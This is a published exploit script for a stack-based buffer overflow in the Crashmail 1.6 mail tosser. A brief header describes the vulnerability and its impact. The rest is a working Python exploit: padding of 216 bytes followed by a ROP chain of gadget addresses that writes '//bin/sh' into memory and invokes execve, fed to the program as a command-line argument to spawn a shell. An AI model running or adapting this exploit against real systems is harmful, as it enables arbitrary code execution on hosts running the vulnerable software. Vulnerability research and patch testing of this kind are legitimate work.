Crashmail 1.6 Buffer Overflow

`# Exploit author: Juan Sacco <[email protected]>  
# Website: http://exploitpack.com  
#  
# Description: Crashmail is prone to a stack-based buffer overflow  
because the application fails to perform adequate boundary checks on  
user supplied input.  
# Impact: An attacker could exploit this vulnerability to execute  
arbitrary code in the context of the application. Failed exploit  
attempts may result in a denial-of-service condition.  
# Vendor homepage: http://ftnapps.sourceforge.net/crashmail.html  
# Affected version: 1.6 ( Latest )  
  
import os, subprocess  
from struct import pack  
  
p = lambda x : pack('I', x)  
IMAGE_BASE_0 = 0x08048000 # ./crashmail  
rebase_0 = lambda x : p(x + IMAGE_BASE_0)  
  
# Control of EIP at 216  
# ROP chain: execve ( binsh )  
# Static-linked  
junk = 'A'*216 # Fill  
ropchain = rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += '//bi'  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9060)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += 'n/sh'  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9064)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x000391a0) # 0x080811a0: xor eax, eax; ret;  
ropchain += rebase_0(0x000705aa) # 0x080b85aa: pop edx; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x0002b42d) # 0x0807342d: mov dword ptr [edx], eax; ret;  
ropchain += rebase_0(0x000001f9) # 0x080481f9: pop ebx; ret;  
ropchain += rebase_0(0x000e9060)  
ropchain += rebase_0(0x000e0e80) # 0x08128e80: pop ecx; push cs; adc  
al, 0x41; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x000705aa) # 0x080b85aaop edx; ret;  
ropchain += rebase_0(0x000e9068)  
ropchain += rebase_0(0x0002ecdf) # 0x08076cdf: pop eax; ret;  
ropchain += p(0xfffffff5)  
ropchain += rebase_0(0x00051dc7) # 0x08099dc7: neg eax; ret;  
ropchain += rebase_0(0x00070e80) # 0x080b8e80: int 0x80; ret;  
evil_buffer = junk + ropchain  
  
print "[*] Exploit Pack http://exploitpack.com - Author: [email protected]"  
print "[*] Crashmail 1.6 - BoF ( ROP execve)"  
print "[?] Payload can be read trough a file or STDIN"  
  
try:  
subprocess.call(["./crashmail","SETTINGS", evil_buffer])  
except OSError as e:  
if e.errno == os.errno.ENOENT:  
print "[!] Crashmail not found"  
else:  
print "[*] Error executing exploit"  
raise  
`